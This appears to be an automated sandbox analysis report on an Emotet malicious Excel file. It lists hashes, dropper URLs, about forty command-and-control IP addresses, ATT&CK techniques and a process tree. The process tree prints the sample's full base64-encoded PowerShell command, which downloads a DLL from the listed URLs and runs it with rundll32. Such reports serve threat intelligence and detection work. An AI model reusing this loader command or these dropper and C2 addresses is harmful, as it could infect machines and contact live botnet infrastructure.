emotet | e377b2d62dde32d6305fad2a399fcd14bdb92b19df6d2f0f5558b43d72afeeff

Analysis

max time kernel
145s
max time network
145s
platform
windows10_x64
resource
win10-en-20211208
submitted
25/01/2022, 15:58

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General

Target
tmp12snv8ps.xls
Size 144KB
Sample220125-tehl1aadcr
SHA256 e377b2d62dde32d6305fad2a399fcd14bdb92b19df6d2f0f5558b43d72afeeff
MD5 6e28dfad74896b86878a751c94fb7b1a
SHA1 a0744f85189152ccb870b3c25a7c71df9711fe51
SHA512 997761b3e8a7e67b0785a73d5c19dadc03a3cdcd4a40d25662d44cae786a51608e89633fbd1d432ffbd85e6c53720c74fdcbcded0c98b352c3d5b7425e501727
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://four.renovatiog.ltd/wp-includes/KGzoB0zsRKZjjEe/
exe.dropper
http://adultfriendfinder-adultfriends.com/mmfdoublepenetrationadultfriends/0pcEeJPfwMU/
exe.dropper
http://jwellery.fameitc.com/wp-includes/wQK7z9cEcwWCUG/
exe.dropper
http://arcgakuin-dev2.sukoburu-secure.com/l35uhr/R1evmjjhga/
exe.dropper
http://bimesarayenovin.ir/wp-admin/z464/
exe.dropper
http://hostfeeling.com/wp-admin/DidtoZk2EEc7BWXyhh/
exe.dropper
http://gardeningfilm.com/wp-content/Ef/
exe.dropper
http://moneymagnetentertainment.com/pz66t8y/Bd0sR0htA8mHibNJrk/
exe.dropper
https://100lamp.com.ua:443/sale/a/
exe.dropper
http://queenofluv.com/uemsub/peLSdHCvfhkge/

Extracted

Family

emotet

Botnet

Epoch4

51.77.82.125:443
69.197.160.180:8080
103.75.201.2:443
173.212.193.249:8080
45.118.135.203:7080
45.118.115.99:8080
162.243.175.63:443
192.254.71.210:443
50.116.54.215:443
51.38.71.0:443
138.185.72.26:8080
131.100.24.231:80
212.237.5.209:443
209.59.138.75:7080
176.104.106.96:8080
107.182.225.142:8080
45.142.114.231:8080
212.237.56.116:7080
207.38.84.195:8080
158.69.222.101:443
104.251.214.46:8080
104.168.155.129:8080
46.55.222.11:443
103.8.26.102:8080
58.227.42.236:80
164.68.99.3:8080
203.114.109.124:443
216.158.226.206:443
178.63.25.185:443
103.8.26.103:8080
195.154.133.20:443
45.176.232.124:443
41.76.108.46:8080
81.0.236.90:443
178.79.147.66:8080
212.24.98.99:8080
217.182.143.207:443
110.232.117.186:8080
162.214.50.39:7080
212.237.17.99:8080
185.157.82.211:8080
79.172.212.216:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3644	2692	cmd.exe	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 3 IoCs

flow	pid	Process
24	1468	powershell.exe
42	3848	rundll32.exe
46	3848	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
2952	rundll32.exe
3128	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Umozwwgttpwaiwrm\deoxdcthjwbxuh.wjm	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2692	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1468	powershell.exe
1468	powershell.exe
1468	powershell.exe
3848	rundll32.exe
3848	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1468	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2692 wrote to memory of 3644	2692	EXCEL.EXE	70
PID 2692 wrote to memory of 3644	2692	EXCEL.EXE	70
PID 3644 wrote to memory of 1468	3644	cmd.exe	72
PID 3644 wrote to memory of 1468	3644	cmd.exe	72
PID 1468 wrote to memory of 2952	1468	powershell.exe	73
PID 1468 wrote to memory of 2952	1468	powershell.exe	73
PID 1468 wrote to memory of 2952	1468	powershell.exe	73
PID 2952 wrote to memory of 3128	2952	rundll32.exe	74
PID 2952 wrote to memory of 3128	2952	rundll32.exe	74
PID 2952 wrote to memory of 3128	2952	rundll32.exe	74
PID 3128 wrote to memory of 3188	3128	rundll32.exe	75
PID 3128 wrote to memory of 3188	3128	rundll32.exe	75
PID 3128 wrote to memory of 3188	3128	rundll32.exe	75
PID 3188 wrote to memory of 3848	3188	rundll32.exe	76
PID 3188 wrote to memory of 3848	3188	rundll32.exe	76
PID 3188 wrote to memory of 3848	3188	rundll32.exe	76

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp12snv8ps.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\programdata\uylcsekn.bat" "
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3644
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AZgBvAHUAcgAuAHIAZQBuAG8AdgBhAHQAaQBvAGcALgBsAHQAZAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEsARwB6AG8AQgAwAHoAcwBSAEsAWgBqAGoARQBlAC8ALABoAHQAdABwADoALwAvAGEAZAB1AGwAdABmAHIAaQBlAG4AZABmAGkAbgBkAGUAcgAtAGEAZAB1AGwAdABmAHIAaQBlAG4AZABzAC4AYwBvAG0ALwBtAG0AZgBkAG8AdQBiAGwAZQBwAGUAbgBlAHQAcgBhAHQAaQBvAG4AYQBkAHUAbAB0AGYAcgBpAGUAbgBkAHMALwAwAHAAYwBFAGUASgBQAGYAdwBNAFUALwAsAGgAdAB0AHAAOgAvAC8AagB3AGUAbABsAGUAcgB5AC4AZgBhAG0AZQBpAHQAYwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AdwBRAEsANwB6ADkAYwBFAGMAdwBXAEMAVQBHAC8ALABoAHQAdABwADoALwAvAGEAcgBjAGcAYQBrAHUAaQBuAC0AZABlAHYAMgAuAHMAdQBrAG8AYgB1AHIAdQAtAHMAZQBjAHUAcgBlAC4AYwBvAG0ALwBsADMANQB1AGgAcgAvAFIAMQBlAHYAbQBqAGoAaABnAGEALwAsAGgAdAB0AHAAOgAvAC8AYgBpAG0AZQBzAGEAcgBhAHkAZQBuAG8AdgBpAG4ALgBpAHIALwB3AHAALQBhAGQAbQBpAG4ALwB6ADQANgA0AC8ALABoAHQAdABwADoALwAvAGgAbwBzAHQAZgBlAGUAbABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARABpAGQAdABvAFoAawAyAEUARQBjADcAQgBXAFgAeQBoAGgALwAsAGgAdAB0AHAAOgAvAC8AZwBhAHIAZABlAG4AaQBuAGcAZgBpAGwAbQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAEUAZgAvACwAaAB0AHQAcAA6AC8ALwBtAG8AbgBlAHkAbQBhAGcAbgBlAHQAZQBuAHQAZQByAHQAYQBpAG4AbQBlAG4AdAAuAGMAbwBtAC8AcAB6ADYANgB0ADgAeQAvAEIAZAAwAHMAUgAwAGgAdABBADgAbQBIAGkAYgBOAEoAcgBrAC8ALABoAHQAdABwAHMAOgAvAC8AMQAwADAAbABhAG0AcAAuAGMAbwBtAC4AdQBhADoANAA0ADMALwBzAGEAbABlAC8AYQAvACwAaAB0AHQAcAA6AC8ALwBxAHUAZQBlAG4AbwBmAGwAdQB2AC4AYwBvAG0ALwB1AGUAbQBzAHUAYgAvAHAAZQBMAFMAZABIAEMAdgBmAGgAawBnAGUALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHMAdAAgAGkAbgAgACQAcgBvAHcAaQBmAGkAdQBkACkAewAkAHIAcgB5AGkAdQBkAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAZgBnAGgAaQB1AHMAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAPQAiAGMAOgBcAHAAcgBvAGcAcgBhAG0AZABhAHQAYQBcACIAKwAkAHIAcgB5AGkAdQBkACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwApAHsAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1468
  - - C:\windows\syswow64\rundll32.exe
      "C:\windows\syswow64\rundll32.exe" c:\programdata\112651729.dll,f528240731
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:2952
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "c:\programdata\112651729.dll",DllRegisterServer
        5⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3128
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Umozwwgttpwaiwrm\deoxdcthjwbxuh.wjm",fjwKZfUdHAJIe
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3188
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Umozwwgttpwaiwrm\deoxdcthjwbxuh.wjm",DllRegisterServer
        7⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3848

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1468-176-0x000001CDDA410000-0x000001CDDA432000-memory.dmp

Download

memory/1468-200-0x000001CDC2410000-0x000001CDDA4E0000-memory.dmp

Download

memory/1468-193-0x000001CDC2410000-0x000001CDDA4E0000-memory.dmp

Download

memory/1468-179-0x000001CDDA5E0000-0x000001CDDA656000-memory.dmp

Download

memory/2692-117-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp

Download

memory/2692-118-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp

Download

memory/2692-150-0x00000269DE620000-0x00000269DE624000-memory.dmp

Download

memory/2692-129-0x00007FFD6F570000-0x00007FFD6F580000-memory.dmp

Download

memory/2692-404-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp

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memory/2692-128-0x00007FFD6F570000-0x00007FFD6F580000-memory.dmp

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memory/2692-116-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp

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memory/2692-115-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp

Download

memory/2692-119-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp

Download

memory/2692-407-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp

Download

memory/2692-406-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp

Download

memory/2692-405-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp

Download

memory/2952-202-0x0000000000140000-0x0000000000165000-memory.dmp

Download

memory/3128-212-0x0000000005150000-0x0000000005175000-memory.dmp

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memory/3128-251-0x00000000053B0000-0x00000000053D5000-memory.dmp

Download

memory/3128-208-0x0000000004E90000-0x0000000004EB5000-memory.dmp

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memory/3128-205-0x0000000004960000-0x0000000004985000-memory.dmp

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memory/3128-216-0x0000000005210000-0x0000000005235000-memory.dmp

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memory/3128-214-0x00000000051B0000-0x00000000051D5000-memory.dmp

Download

memory/3848-365-0x00000000048E0000-0x0000000004905000-memory.dmp

Download

memory/3848-369-0x0000000004AA0000-0x0000000004AC5000-memory.dmp

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memory/3848-371-0x0000000004C80000-0x0000000004CA5000-memory.dmp

Download

memory/3848-373-0x0000000004D00000-0x0000000004D25000-memory.dmp

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memory/3848-367-0x00000000049C0000-0x00000000049E5000-memory.dmp

Download

memory/3848-363-0x0000000004800000-0x0000000004825000-memory.dmp

Download